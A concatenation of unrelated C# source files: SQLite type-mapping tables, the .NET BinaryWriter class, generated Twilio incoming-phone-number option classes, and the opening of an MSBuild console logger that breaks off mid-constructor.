private static int[] _dbtypetocolumnsize = {
2147483647, // 0
2147483647, // 1
1, // 2
1, // 3
8, // 4
8, // 5
8, // 6
8, // 7
8, // 8
16, // 9
2,
4,
8,
2147483647,
1,
4,
2147483647,
8,
2,
4,
8,
8,
2147483647,
2147483647,
2147483647,
2147483647, // 25 (Xml)
};
/// <summary>
/// Convert a DbType to a Type
/// </summary>
/// <param name="typ">The DbType to convert from</param>
/// <returns>The closest-match .NET type</returns>
internal static Type DbTypeToType(DbType typ)
{
return _dbtypeToType[(int)typ];
}
private static Type[] _dbtypeToType = {
typeof(string), // 0
typeof(byte[]), // 1
typeof(byte), // 2
typeof(bool), // 3
typeof(decimal), // 4
typeof(DateTime), // 5
typeof(DateTime), // 6
typeof(decimal), // 7
typeof(double), // 8
typeof(Guid), // 9
typeof(Int16),
typeof(Int32),
typeof(Int64),
typeof(object),
typeof(sbyte),
typeof(float),
typeof(string),
typeof(DateTime),
typeof(UInt16),
typeof(UInt32),
typeof(UInt64),
typeof(double),
typeof(string),
typeof(string),
typeof(string),
typeof(string), // 25 (Xml)
};
/// <summary>
/// For a given type, return the closest-match Sqlite TypeAffinity, which only understands a very limited subset of types.
/// </summary>
/// <param name="typ">The type to evaluate</param>
/// <returns>The Sqlite type affinity for that type.</returns>
internal static TypeAffinity TypeToAffinity(Type typ)
{
TypeCode tc = Type.GetTypeCode(typ);
if (tc == TypeCode.Object)
{
if (typ == typeof(byte[]) || typ == typeof(Guid))
return TypeAffinity.Blob;
else
return TypeAffinity.Text;
}
return _typecodeAffinities[(int)tc];
}
private static TypeAffinity[] _typecodeAffinities = {
TypeAffinity.Null,
TypeAffinity.Blob,
TypeAffinity.Null,
TypeAffinity.Int64,
TypeAffinity.Int64,
TypeAffinity.Int64,
TypeAffinity.Int64,
TypeAffinity.Int64, // 7
TypeAffinity.Int64,
TypeAffinity.Int64,
TypeAffinity.Int64,
TypeAffinity.Int64, // 11
TypeAffinity.Int64,
TypeAffinity.Double,
TypeAffinity.Double,
TypeAffinity.Double,
TypeAffinity.DateTime,
TypeAffinity.Null,
TypeAffinity.Text,
};
/// <summary>
/// For a given type name, return a closest-match .NET type
/// </summary>
/// <param name="Name">The name of the type to match</param>
/// <returns>The .NET DBType the text evaluates to.</returns>
internal static DbType TypeNameToDbType(string Name)
{
if (String.IsNullOrEmpty(Name)) return DbType.Object;
DbType t;
if (_typeNames.TryGetValue(Name, out t)) {
return t;
} else if (_typeNames.TryGetValue (Name.ToUpperInvariant (), out t)) {
_typeNames[Name] = t;
return t;
}
return DbType.Object;
}
#endregion
// All the strings below must be uppercase
private static Dictionary<string, DbType> _typeNames = new Dictionary<string, DbType>() {
{"COUNTER", DbType.Int64},
{"AUTOINCREMENT", DbType.Int64},
{"IDENTITY", DbType.Int64},
{"LONGTEXT", DbType.String},
{"LONGCHAR", DbType.String},
{"LONGVARCHAR", DbType.String},
{"LONG", DbType.Int64},
{"TINYINT", DbType.Byte},
{"INTEGER", DbType.Int64},
{"INT", DbType.Int32},
{"VARCHAR", DbType.String},
{"NVARCHAR", DbType.String},
{"CHAR", DbType.String},
{"NCHAR", DbType.String},
{"TEXT", DbType.String},
{"NTEXT", DbType.String},
{"STRING", DbType.String},
{"DOUBLE", DbType.Double},
{"FLOAT", DbType.Double},
{"REAL", DbType.Single},
{"BIT", DbType.Boolean},
{"YESNO", DbType.Boolean},
{"LOGICAL", DbType.Boolean},
{"BOOL", DbType.Boolean},
{"NUMERIC", DbType.Decimal},
{"DECIMAL", DbType.Decimal},
{"MONEY", DbType.Decimal},
{"CURRENCY", DbType.Decimal},
{"TIME", DbType.DateTime},
{"DATE", DbType.DateTime},
{"SMALLDATE", DbType.DateTime},
{"BLOB", DbType.Binary},
{"BINARY", DbType.Binary},
{"VARBINARY", DbType.Binary},
{"IMAGE", DbType.Binary},
{"GENERAL", DbType.Binary},
{"OLEOBJECT", DbType.Binary},
{"GUID", DbType.Guid},
{"UNIQUEIDENTIFIER", DbType.Guid},
{"MEMO", DbType.String},
{"NOTE", DbType.String},
{"SMALLINT", DbType.Int16},
{"BIGINT", DbType.Int64},
};
}
}
#endif
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/*============================================================
**
**
**
**
** Purpose: Provides a way to write primitives types in
** binary from a Stream, while also supporting writing Strings
** in a particular encoding.
**
**
===========================================================*/
using System;
using System.Runtime;
using System.Runtime.Serialization;
using System.Text;
using System.Diagnostics;
using System.Diagnostics.Contracts;
namespace System.IO
{
// This abstract base class represents a writer that can write
// primitives to an arbitrary stream. A subclass can override methods to
// give unique encodings.
//
public class BinaryWriter : IDisposable
{
public static readonly BinaryWriter Null = new BinaryWriter();
protected Stream OutStream;
private byte[] _buffer; // temp space for writing primitives to.
private Encoding _encoding;
private Encoder _encoder;
[OptionalField] // New in .NET FX 4.5. False is the right default value.
private bool _leaveOpen;
// Perf optimization stuff
private byte[] _largeByteBuffer; // temp space for writing chars.
private int _maxChars; // max # of chars we can put in _largeByteBuffer
// Size should be around the max number of chars/string * Encoding's max bytes/char
private const int LargeByteBufferSize = 256;
// Protected default constructor that sets the output stream
// to a null stream (a bit bucket).
protected BinaryWriter()
{
OutStream = Stream.Null;
_buffer = new byte[16];
_encoding = EncodingCache.UTF8NoBOM;
_encoder = _encoding.GetEncoder();
}
public BinaryWriter(Stream output) : this(output, EncodingCache.UTF8NoBOM, false)
{
}
public BinaryWriter(Stream output, Encoding encoding) : this(output, encoding, false)
{
}
public BinaryWriter(Stream output, Encoding encoding, bool leaveOpen)
{
if (output == null)
throw new ArgumentNullException(nameof(output));
if (encoding == null)
throw new ArgumentNullException(nameof(encoding));
if (!output.CanWrite)
throw new ArgumentException(SR.Argument_StreamNotWritable);
Contract.EndContractBlock();
OutStream = output;
_buffer = new byte[16];
_encoding = encoding;
_encoder = _encoding.GetEncoder();
_leaveOpen = leaveOpen;
}
// Closes this writer and releases any system resources associated with the
// writer. Following a call to Close, any operations on the writer
// may raise exceptions.
public virtual void Close()
{
Dispose(true);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (_leaveOpen)
OutStream.Flush();
else
OutStream.Close();
}
}
public void Dispose()
{
Dispose(true);
}
/*
* Returns the stream associate with the writer. It flushes all pending
* writes before returning. All subclasses should override Flush to
* ensure that all buffered data is sent to the stream.
*/
public virtual Stream BaseStream
{
get
{
Flush();
return OutStream;
}
}
// Clears all buffers for this writer and causes any buffered data to be
// written to the underlying device.
public virtual void Flush()
{
OutStream.Flush();
}
public virtual long Seek(int offset, SeekOrigin origin)
{
return OutStream.Seek(offset, origin);
}
// Writes a boolean to this stream. A single byte is written to the stream
// with the value 0 representing false or the value 1 representing true.
//
public virtual void Write(bool value)
{
_buffer[0] = (byte)(value ? 1 : 0);
OutStream.Write(_buffer, 0, 1);
}
// Writes a byte to this stream. The current position of the stream is
// advanced by one.
//
public virtual void Write(byte value)
{
OutStream.WriteByte(value);
}
// Writes a signed byte to this stream. The current position of the stream
// is advanced by one.
//
[CLSCompliant(false)]
public virtual void Write(sbyte value)
{
OutStream.WriteByte((byte)value);
}
// Writes a byte array to this stream.
//
// This default implementation calls the Write(Object, int, int)
// method to write the byte array.
//
public virtual void Write(byte[] buffer)
{
if (buffer == null)
throw new ArgumentNullException(nameof(buffer));
Contract.EndContractBlock();
OutStream.Write(buffer, 0, buffer.Length);
}
// Writes a section of a byte array to this stream.
//
// This default implementation calls the Write(Object, int, int)
// method to write the byte array.
//
public virtual void Write(byte[] buffer, int index, int count)
{
OutStream.Write(buffer, index, count);
}
// Writes a character to this stream. The current position of the stream is
// advanced by two.
// Note this method cannot handle surrogates properly in UTF-8.
//
public unsafe virtual void Write(char ch)
{
if (Char.IsSurrogate(ch))
throw new ArgumentException(SR.Arg_SurrogatesNotAllowedAsSingleChar);
Contract.EndContractBlock();
Debug.Assert(_encoding.GetMaxByteCount(1) <= 16, "_encoding.GetMaxByteCount(1) <= 16)");
int numBytes = 0;
fixed (byte* pBytes = &_buffer[0])
{
numBytes = _encoder.GetBytes(&ch, 1, pBytes, _buffer.Length, flush: true);
}
OutStream.Write(_buffer, 0, numBytes);
}
// Writes a character array to this stream.
//
// This default implementation calls the Write(Object, int, int)
// method to write the character array.
//
public virtual void Write(char[] chars)
{
if (chars == null)
throw new ArgumentNullException(nameof(chars));
Contract.EndContractBlock();
byte[] bytes = _encoding.GetBytes(chars, 0, chars.Length);
OutStream.Write(bytes, 0, bytes.Length);
}
// Writes a section of a character array to this stream.
//
// This default implementation calls the Write(Object, int, int)
// method to write the character array.
//
public virtual void Write(char[] chars, int index, int count)
{
byte[] bytes = _encoding.GetBytes(chars, index, count);
OutStream.Write(bytes, 0, bytes.Length);
}
// Writes a double to this stream. The current position of the stream is
// advanced by eight.
//
public unsafe virtual void Write(double value)
{
ulong TmpValue = *(ulong*)&value;
_buffer[0] = (byte)TmpValue;
_buffer[1] = (byte)(TmpValue >> 8);
_buffer[2] = (byte)(TmpValue >> 16);
_buffer[3] = (byte)(TmpValue >> 24);
_buffer[4] = (byte)(TmpValue >> 32);
_buffer[5] = (byte)(TmpValue >> 40);
_buffer[6] = (byte)(TmpValue >> 48);
_buffer[7] = (byte)(TmpValue >> 56);
OutStream.Write(_buffer, 0, 8);
}
public virtual void Write(decimal value)
{
Decimal.GetBytes(value, _buffer);
OutStream.Write(_buffer, 0, 16);
}
// Writes a two-byte signed integer to this stream. The current position of
// the stream is advanced by two.
//
public virtual void Write(short value)
{
_buffer[0] = (byte)value;
_buffer[1] = (byte)(value >> 8);
OutStream.Write(_buffer, 0, 2);
}
// Writes a two-byte unsigned integer to this stream. The current position
// of the stream is advanced by two.
//
[CLSCompliant(false)]
public virtual void Write(ushort value)
{
_buffer[0] = (byte)value;
_buffer[1] = (byte)(value >> 8);
OutStream.Write(_buffer, 0, 2);
}
// Writes a four-byte signed integer to this stream. The current position
// of the stream is advanced by four.
//
public virtual void Write(int value)
{
_buffer[0] = (byte)value;
_buffer[1] = (byte)(value >> 8);
_buffer[2] = (byte)(value >> 16);
_buffer[3] = (byte)(value >> 24);
OutStream.Write(_buffer, 0, 4);
}
// Writes a four-byte unsigned integer to this stream. The current position
// of the stream is advanced by four.
//
[CLSCompliant(false)]
public virtual void Write(uint value)
{
_buffer[0] = (byte)value;
_buffer[1] = (byte)(value >> 8);
_buffer[2] = (byte)(value >> 16);
_buffer[3] = (byte)(value >> 24);
OutStream.Write(_buffer, 0, 4);
}
// Writes an eight-byte signed integer to this stream. The current position
// of the stream is advanced by eight.
//
public virtual void Write(long value)
{
_buffer[0] = (byte)value;
_buffer[1] = (byte)(value >> 8);
_buffer[2] = (byte)(value >> 16);
_buffer[3] = (byte)(value >> 24);
_buffer[4] = (byte)(value >> 32);
_buffer[5] = (byte)(value >> 40);
_buffer[6] = (byte)(value >> 48);
_buffer[7] = (byte)(value >> 56);
OutStream.Write(_buffer, 0, 8);
}
// Writes an eight-byte unsigned integer to this stream. The current
// position of the stream is advanced by eight.
//
[CLSCompliant(false)]
public virtual void Write(ulong value)
{
_buffer[0] = (byte)value;
_buffer[1] = (byte)(value >> 8);
_buffer[2] = (byte)(value >> 16);
_buffer[3] = (byte)(value >> 24);
_buffer[4] = (byte)(value >> 32);
_buffer[5] = (byte)(value >> 40);
_buffer[6] = (byte)(value >> 48);
_buffer[7] = (byte)(value >> 56);
OutStream.Write(_buffer, 0, 8);
}
// Writes a float to this stream. The current position of the stream is
// advanced by four.
//
public unsafe virtual void Write(float value)
{
uint TmpValue = *(uint*)&value;
_buffer[0] = (byte)TmpValue;
_buffer[1] = (byte)(TmpValue >> 8);
_buffer[2] = (byte)(TmpValue >> 16);
_buffer[3] = (byte)(TmpValue >> 24);
OutStream.Write(_buffer, 0, 4);
}
// Writes a length-prefixed string to this stream in the BinaryWriter's
// current Encoding. This method first writes the length of the string as
// a four-byte unsigned integer, and then writes that many characters
// to the stream.
//
public unsafe virtual void Write(String value)
{
if (value == null)
throw new ArgumentNullException(nameof(value));
Contract.EndContractBlock();
int len = _encoding.GetByteCount(value);
Write7BitEncodedInt(len);
if (_largeByteBuffer == null)
{
_largeByteBuffer = new byte[LargeByteBufferSize];
_maxChars = _largeByteBuffer.Length / _encoding.GetMaxByteCount(1);
}
if (len <= _largeByteBuffer.Length)
{
//Debug.Assert(len == _encoding.GetBytes(chars, 0, chars.Length, _largeByteBuffer, 0), "encoding's GetByteCount & GetBytes gave different answers! encoding type: "+_encoding.GetType().Name);
_encoding.GetBytes(value, 0, value.Length, _largeByteBuffer, 0);
OutStream.Write(_largeByteBuffer, 0, len);
}
else
{
// Aggressively try to not allocate memory in this loop for
// runtime performance reasons. Use an Encoder to write out
// the string correctly (handling surrogates crossing buffer
// boundaries properly).
int charStart = 0;
int numLeft = value.Length;
#if _DEBUG
int totalBytes = 0;
#endif
while (numLeft > 0)
{
// Figure out how many chars to process this round.
int charCount = (numLeft > _maxChars) ? _maxChars : numLeft;
int byteLen;
checked
{
if (charStart < 0 || charCount < 0 || charStart > value.Length - charCount)
{
throw new ArgumentOutOfRangeException(nameof(charCount));
}
fixed (char* pChars = value)
{
fixed (byte* pBytes = &_largeByteBuffer[0])
{
byteLen = _encoder.GetBytes(pChars + charStart, charCount, pBytes, _largeByteBuffer.Length, charCount == numLeft);
}
}
}
#if _DEBUG
totalBytes += byteLen;
Debug.Assert(totalBytes <= len && byteLen <= _largeByteBuffer.Length, "BinaryWriter::Write(String) - More bytes encoded than expected!");
#endif
OutStream.Write(_largeByteBuffer, 0, byteLen);
charStart += charCount;
numLeft -= charCount;
}
#if _DEBUG
Debug.Assert(totalBytes == len, "BinaryWriter::Write(String) - Didn't write out all the bytes!");
#endif
}
}
protected void Write7BitEncodedInt(int value)
{
// Write out an int 7 bits at a time. The high bit of the byte,
// when on, tells reader to continue reading more bytes.
uint v = (uint)value; // support negative numbers
while (v >= 0x80)
{
Write((byte)(v | 0x80));
v >>= 7;
}
Write((byte)v);
}
}
}
| |
/// This code was generated by
/// \ / _ _ _| _ _
/// | (_)\/(_)(_|\/| |(/_ v1.0.0
/// / /
using System;
using System.Collections.Generic;
using Twilio.Base;
using Twilio.Converters;
namespace Twilio.Rest.Api.V2010.Account
{
/// <summary>
/// Update an incoming-phone-number instance.
/// </summary>
public class UpdateIncomingPhoneNumberOptions : IOptions<IncomingPhoneNumberResource>
{
/// <summary>
/// The SID of the Account that created the resource to update
/// </summary>
public string PathAccountSid { get; set; }
/// <summary>
/// The unique string that identifies the resource
/// </summary>
public string PathSid { get; }
/// <summary>
/// The SID of the Account that created the resource to update
/// </summary>
public string AccountSid { get; set; }
/// <summary>
/// The API version to use for incoming calls made to the phone number
/// </summary>
public string ApiVersion { get; set; }
/// <summary>
/// A string to describe the resource
/// </summary>
public string FriendlyName { get; set; }
/// <summary>
/// Unique string that identifies the application
/// </summary>
public string SmsApplicationSid { get; set; }
/// <summary>
/// HTTP method used with sms_fallback_url
/// </summary>
public Twilio.Http.HttpMethod SmsFallbackMethod { get; set; }
/// <summary>
/// The URL we call when an error occurs while executing TwiML
/// </summary>
public Uri SmsFallbackUrl { get; set; }
/// <summary>
/// The HTTP method to use with sms_url
/// </summary>
public Twilio.Http.HttpMethod SmsMethod { get; set; }
/// <summary>
/// The URL we should call when the phone number receives an incoming SMS message
/// </summary>
public Uri SmsUrl { get; set; }
/// <summary>
/// The URL we should call to send status information to your application
/// </summary>
public Uri StatusCallback { get; set; }
/// <summary>
/// The HTTP method we should use to call status_callback
/// </summary>
public Twilio.Http.HttpMethod StatusCallbackMethod { get; set; }
/// <summary>
/// The SID of the application to handle the phone number
/// </summary>
public string VoiceApplicationSid { get; set; }
/// <summary>
/// Whether to lookup the caller's name
/// </summary>
public bool? VoiceCallerIdLookup { get; set; }
/// <summary>
/// The HTTP method used with fallback_url
/// </summary>
public Twilio.Http.HttpMethod VoiceFallbackMethod { get; set; }
/// <summary>
/// The URL we will call when an error occurs in TwiML
/// </summary>
public Uri VoiceFallbackUrl { get; set; }
/// <summary>
/// The HTTP method used with the voice_url
/// </summary>
public Twilio.Http.HttpMethod VoiceMethod { get; set; }
/// <summary>
/// The URL we should call when the phone number receives a call
/// </summary>
public Uri VoiceUrl { get; set; }
/// <summary>
/// Displays if emergency calling is enabled for this number.
/// </summary>
public IncomingPhoneNumberResource.EmergencyStatusEnum EmergencyStatus { get; set; }
/// <summary>
/// The emergency address configuration to use for emergency calling
/// </summary>
public string EmergencyAddressSid { get; set; }
/// <summary>
/// SID of the trunk to handle phone calls to the phone number
/// </summary>
public string TrunkSid { get; set; }
/// <summary>
/// Incoming call type: fax or voice
/// </summary>
public IncomingPhoneNumberResource.VoiceReceiveModeEnum VoiceReceiveMode { get; set; }
/// <summary>
/// Unique string that identifies the identity associated with number
/// </summary>
public string IdentitySid { get; set; }
/// <summary>
/// The SID of the Address resource associated with the phone number
/// </summary>
public string AddressSid { get; set; }
/// <summary>
/// The SID of the Bundle resource associated with number
/// </summary>
public string BundleSid { get; set; }
/// <summary>
/// Construct a new UpdateIncomingPhoneNumberOptions
/// </summary>
/// <param name="pathSid"> The unique string that identifies the resource </param>
public UpdateIncomingPhoneNumberOptions(string pathSid)
{
PathSid = pathSid;
}
/// <summary>
/// Generate the necessary parameters
/// </summary>
public List<KeyValuePair<string, string>> GetParams()
{
var p = new List<KeyValuePair<string, string>>();
if (AccountSid != null)
{
p.Add(new KeyValuePair<string, string>("AccountSid", AccountSid.ToString()));
}
if (ApiVersion != null)
{
p.Add(new KeyValuePair<string, string>("ApiVersion", ApiVersion));
}
if (FriendlyName != null)
{
p.Add(new KeyValuePair<string, string>("FriendlyName", FriendlyName));
}
if (SmsApplicationSid != null)
{
p.Add(new KeyValuePair<string, string>("SmsApplicationSid", SmsApplicationSid.ToString()));
}
if (SmsFallbackMethod != null)
{
p.Add(new KeyValuePair<string, string>("SmsFallbackMethod", SmsFallbackMethod.ToString()));
}
if (SmsFallbackUrl != null)
{
p.Add(new KeyValuePair<string, string>("SmsFallbackUrl", Serializers.Url(SmsFallbackUrl)));
}
if (SmsMethod != null)
{
p.Add(new KeyValuePair<string, string>("SmsMethod", SmsMethod.ToString()));
}
if (SmsUrl != null)
{
p.Add(new KeyValuePair<string, string>("SmsUrl", Serializers.Url(SmsUrl)));
}
if (StatusCallback != null)
{
p.Add(new KeyValuePair<string, string>("StatusCallback", Serializers.Url(StatusCallback)));
}
if (StatusCallbackMethod != null)
{
p.Add(new KeyValuePair<string, string>("StatusCallbackMethod", StatusCallbackMethod.ToString()));
}
if (VoiceApplicationSid != null)
{
p.Add(new KeyValuePair<string, string>("VoiceApplicationSid", VoiceApplicationSid.ToString()));
}
if (VoiceCallerIdLookup != null)
{
p.Add(new KeyValuePair<string, string>("VoiceCallerIdLookup", VoiceCallerIdLookup.Value.ToString().ToLower()));
}
if (VoiceFallbackMethod != null)
{
p.Add(new KeyValuePair<string, string>("VoiceFallbackMethod", VoiceFallbackMethod.ToString()));
}
if (VoiceFallbackUrl != null)
{
p.Add(new KeyValuePair<string, string>("VoiceFallbackUrl", Serializers.Url(VoiceFallbackUrl)));
}
if (VoiceMethod != null)
{
p.Add(new KeyValuePair<string, string>("VoiceMethod", VoiceMethod.ToString()));
}
if (VoiceUrl != null)
{
p.Add(new KeyValuePair<string, string>("VoiceUrl", Serializers.Url(VoiceUrl)));
}
if (EmergencyStatus != null)
{
p.Add(new KeyValuePair<string, string>("EmergencyStatus", EmergencyStatus.ToString()));
}
if (EmergencyAddressSid != null)
{
p.Add(new KeyValuePair<string, string>("EmergencyAddressSid", EmergencyAddressSid.ToString()));
}
if (TrunkSid != null)
{
p.Add(new KeyValuePair<string, string>("TrunkSid", TrunkSid.ToString()));
}
if (VoiceReceiveMode != null)
{
p.Add(new KeyValuePair<string, string>("VoiceReceiveMode", VoiceReceiveMode.ToString()));
}
if (IdentitySid != null)
{
p.Add(new KeyValuePair<string, string>("IdentitySid", IdentitySid.ToString()));
}
if (AddressSid != null)
{
p.Add(new KeyValuePair<string, string>("AddressSid", AddressSid.ToString()));
}
if (BundleSid != null)
{
p.Add(new KeyValuePair<string, string>("BundleSid", BundleSid.ToString()));
}
return p;
}
}
/// <summary>
/// Fetch an incoming-phone-number belonging to the account used to make the request.
/// </summary>
public class FetchIncomingPhoneNumberOptions : IOptions<IncomingPhoneNumberResource>
{
/// <summary>
/// The SID of the Account that created the resource to fetch
/// </summary>
public string PathAccountSid { get; set; }
/// <summary>
/// The unique string that identifies the resource
/// </summary>
public string PathSid { get; }
/// <summary>
/// Construct a new FetchIncomingPhoneNumberOptions
/// </summary>
/// <param name="pathSid"> The unique string that identifies the resource </param>
public FetchIncomingPhoneNumberOptions(string pathSid)
{
PathSid = pathSid;
}
/// <summary>
/// Generate the necessary parameters
/// </summary>
public List<KeyValuePair<string, string>> GetParams()
{
var p = new List<KeyValuePair<string, string>>();
return p;
}
}
/// <summary>
/// Delete a phone-numbers belonging to the account used to make the request.
/// </summary>
public class DeleteIncomingPhoneNumberOptions : IOptions<IncomingPhoneNumberResource>
{
/// <summary>
/// The SID of the Account that created the resources to delete
/// </summary>
public string PathAccountSid { get; set; }
/// <summary>
/// The unique string that identifies the resource
/// </summary>
public string PathSid { get; }
/// <summary>
/// Construct a new DeleteIncomingPhoneNumberOptions
/// </summary>
/// <param name="pathSid"> The unique string that identifies the resource </param>
public DeleteIncomingPhoneNumberOptions(string pathSid)
{
PathSid = pathSid;
}
/// <summary>
/// Generate the necessary parameters
/// </summary>
public List<KeyValuePair<string, string>> GetParams()
{
var p = new List<KeyValuePair<string, string>>();
return p;
}
}
/// <summary>
/// Retrieve a list of incoming-phone-numbers belonging to the account used to make the request.
/// </summary>
public class ReadIncomingPhoneNumberOptions : ReadOptions<IncomingPhoneNumberResource>
{
/// <summary>
/// The SID of the Account that created the resources to read
/// </summary>
public string PathAccountSid { get; set; }
/// <summary>
/// Whether to include new phone numbers
/// </summary>
public bool? Beta { get; set; }
/// <summary>
/// A string that identifies the IncomingPhoneNumber resources to read
/// </summary>
public string FriendlyName { get; set; }
/// <summary>
/// The phone numbers of the IncomingPhoneNumber resources to read
/// </summary>
public Types.PhoneNumber PhoneNumber { get; set; }
/// <summary>
/// Include phone numbers based on their origin. By default, phone numbers of all origin are included.
/// </summary>
public string Origin { get; set; }
/// <summary>
/// Generate the necessary parameters
/// </summary>
public override List<KeyValuePair<string, string>> GetParams()
{
var p = new List<KeyValuePair<string, string>>();
if (Beta != null)
{
p.Add(new KeyValuePair<string, string>("Beta", Beta.Value.ToString().ToLower()));
}
if (FriendlyName != null)
{
p.Add(new KeyValuePair<string, string>("FriendlyName", FriendlyName));
}
if (PhoneNumber != null)
{
p.Add(new KeyValuePair<string, string>("PhoneNumber", PhoneNumber.ToString()));
}
if (Origin != null)
{
p.Add(new KeyValuePair<string, string>("Origin", Origin));
}
if (PageSize != null)
{
p.Add(new KeyValuePair<string, string>("PageSize", PageSize.ToString()));
}
return p;
}
}
/// <summary>
/// Purchase a phone-number for the account.
/// </summary>
public class CreateIncomingPhoneNumberOptions : IOptions<IncomingPhoneNumberResource>
{
/// <summary>
/// The SID of the Account that will create the resource
/// </summary>
public string PathAccountSid { get; set; }
/// <summary>
/// The phone number to purchase in E.164 format
/// </summary>
public Types.PhoneNumber PhoneNumber { get; set; }
/// <summary>
/// The desired area code for the new phone number
/// </summary>
public string AreaCode { get; set; }
/// <summary>
/// The API version to use for incoming calls made to the new phone number
/// </summary>
public string ApiVersion { get; set; }
/// <summary>
/// A string to describe the new phone number
/// </summary>
public string FriendlyName { get; set; }
/// <summary>
/// The SID of the application to handle SMS messages
/// </summary>
public string SmsApplicationSid { get; set; }
/// <summary>
/// HTTP method used with sms_fallback_url
/// </summary>
public Twilio.Http.HttpMethod SmsFallbackMethod { get; set; }
/// <summary>
/// The URL we call when an error occurs while executing TwiML
/// </summary>
public Uri SmsFallbackUrl { get; set; }
/// <summary>
/// The HTTP method to use with sms url
/// </summary>
public Twilio.Http.HttpMethod SmsMethod { get; set; }
/// <summary>
/// The URL we should call when the new phone number receives an incoming SMS message
/// </summary>
public Uri SmsUrl { get; set; }
/// <summary>
/// The URL we should call to send status information to your application
/// </summary>
public Uri StatusCallback { get; set; }
/// <summary>
/// HTTP method we should use to call status_callback
/// </summary>
public Twilio.Http.HttpMethod StatusCallbackMethod { get; set; }
/// <summary>
/// The SID of the application to handle the new phone number
/// </summary>
public string VoiceApplicationSid { get; set; }
/// <summary>
/// Whether to lookup the caller's name
/// </summary>
public bool? VoiceCallerIdLookup { get; set; }
/// <summary>
/// The HTTP method used with voice_fallback_url
/// </summary>
public Twilio.Http.HttpMethod VoiceFallbackMethod { get; set; }
/// <summary>
/// The URL we will call when an error occurs in TwiML
/// </summary>
public Uri VoiceFallbackUrl { get; set; }
/// <summary>
/// The HTTP method used with the voice_url
/// </summary>
public Twilio.Http.HttpMethod VoiceMethod { get; set; }
/// <summary>
/// The URL we should call when the phone number receives a call
/// </summary>
public Uri VoiceUrl { get; set; }
/// <summary>
/// Displays if emergency calling is enabled for this number.
/// </summary>
public IncomingPhoneNumberResource.EmergencyStatusEnum EmergencyStatus { get; set; }
/// <summary>
/// The emergency address configuration to use for emergency calling
/// </summary>
public string EmergencyAddressSid { get; set; }
/// <summary>
/// SID of the trunk to handle calls to the new phone number
/// </summary>
public string TrunkSid { get; set; }
/// <summary>
/// The SID of the Identity resource to associate with the new phone number
/// </summary>
public string IdentitySid { get; set; }
/// <summary>
/// The SID of the Address resource associated with the phone number
/// </summary>
public string AddressSid { get; set; }
/// <summary>
/// Incoming call type: fax or voice
/// </summary>
public IncomingPhoneNumberResource.VoiceReceiveModeEnum VoiceReceiveMode { get; set; }
/// <summary>
/// The SID of the Bundle resource associated with number
/// </summary>
public string BundleSid { get; set; }
/// <summary>
/// Generate the necessary parameters
/// </summary>
public List<KeyValuePair<string, string>> GetParams()
{
var p = new List<KeyValuePair<string, string>>();
if (PhoneNumber != null)
{
p.Add(new KeyValuePair<string, string>("PhoneNumber", PhoneNumber.ToString()));
}
if (AreaCode != null)
{
p.Add(new KeyValuePair<string, string>("AreaCode", AreaCode));
}
if (ApiVersion != null)
{
p.Add(new KeyValuePair<string, string>("ApiVersion", ApiVersion));
}
if (FriendlyName != null)
{
p.Add(new KeyValuePair<string, string>("FriendlyName", FriendlyName));
}
if (SmsApplicationSid != null)
{
p.Add(new KeyValuePair<string, string>("SmsApplicationSid", SmsApplicationSid.ToString()));
}
if (SmsFallbackMethod != null)
{
p.Add(new KeyValuePair<string, string>("SmsFallbackMethod", SmsFallbackMethod.ToString()));
}
if (SmsFallbackUrl != null)
{
p.Add(new KeyValuePair<string, string>("SmsFallbackUrl", Serializers.Url(SmsFallbackUrl)));
}
if (SmsMethod != null)
{
p.Add(new KeyValuePair<string, string>("SmsMethod", SmsMethod.ToString()));
}
if (SmsUrl != null)
{
p.Add(new KeyValuePair<string, string>("SmsUrl", Serializers.Url(SmsUrl)));
}
if (StatusCallback != null)
{
p.Add(new KeyValuePair<string, string>("StatusCallback", Serializers.Url(StatusCallback)));
}
if (StatusCallbackMethod != null)
{
p.Add(new KeyValuePair<string, string>("StatusCallbackMethod", StatusCallbackMethod.ToString()));
}
if (VoiceApplicationSid != null)
{
p.Add(new KeyValuePair<string, string>("VoiceApplicationSid", VoiceApplicationSid.ToString()));
}
if (VoiceCallerIdLookup != null)
{
p.Add(new KeyValuePair<string, string>("VoiceCallerIdLookup", VoiceCallerIdLookup.Value.ToString().ToLower()));
}
if (VoiceFallbackMethod != null)
{
p.Add(new KeyValuePair<string, string>("VoiceFallbackMethod", VoiceFallbackMethod.ToString()));
}
if (VoiceFallbackUrl != null)
{
p.Add(new KeyValuePair<string, string>("VoiceFallbackUrl", Serializers.Url(VoiceFallbackUrl)));
}
if (VoiceMethod != null)
{
p.Add(new KeyValuePair<string, string>("VoiceMethod", VoiceMethod.ToString()));
}
if (VoiceUrl != null)
{
p.Add(new KeyValuePair<string, string>("VoiceUrl", Serializers.Url(VoiceUrl)));
}
if (EmergencyStatus != null)
{
p.Add(new KeyValuePair<string, string>("EmergencyStatus", EmergencyStatus.ToString()));
}
if (EmergencyAddressSid != null)
{
p.Add(new KeyValuePair<string, string>("EmergencyAddressSid", EmergencyAddressSid.ToString()));
}
if (TrunkSid != null)
{
p.Add(new KeyValuePair<string, string>("TrunkSid", TrunkSid.ToString()));
}
if (IdentitySid != null)
{
p.Add(new KeyValuePair<string, string>("IdentitySid", IdentitySid.ToString()));
}
if (AddressSid != null)
{
p.Add(new KeyValuePair<string, string>("AddressSid", AddressSid.ToString()));
}
if (VoiceReceiveMode != null)
{
p.Add(new KeyValuePair<string, string>("VoiceReceiveMode", VoiceReceiveMode.ToString()));
}
if (BundleSid != null)
{
p.Add(new KeyValuePair<string, string>("BundleSid", BundleSid.ToString()));
}
return p;
}
}
}
| |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System;
using System.Collections;
using System.Diagnostics;
using Microsoft.Build.Framework;
using Microsoft.Build.BuildEngine.Shared;
namespace Microsoft.Build.BuildEngine
{
internal class SerialConsoleLogger : BaseConsoleLogger
{
#region Constructors
/// <summary>
/// Default constructor.
/// </summary>
/// <owner>SumedhK</owner>
public SerialConsoleLogger()
: this(LoggerVerbosity.Normal)
{
// do nothing
}
/// <summary>
/// Create a logger instance with a specific verbosity. This logs to
/// the default console.
/// </summary>
/// <owner>SumedhK</owner>
/// <param name="verbosity">Verbosity level.</param>
public SerialConsoleLogger(LoggerVerbosity verbosity)
:
this
(
verbosity,
new WriteHandler(Console.Out.Write),
new ColorSetter(SetColor),
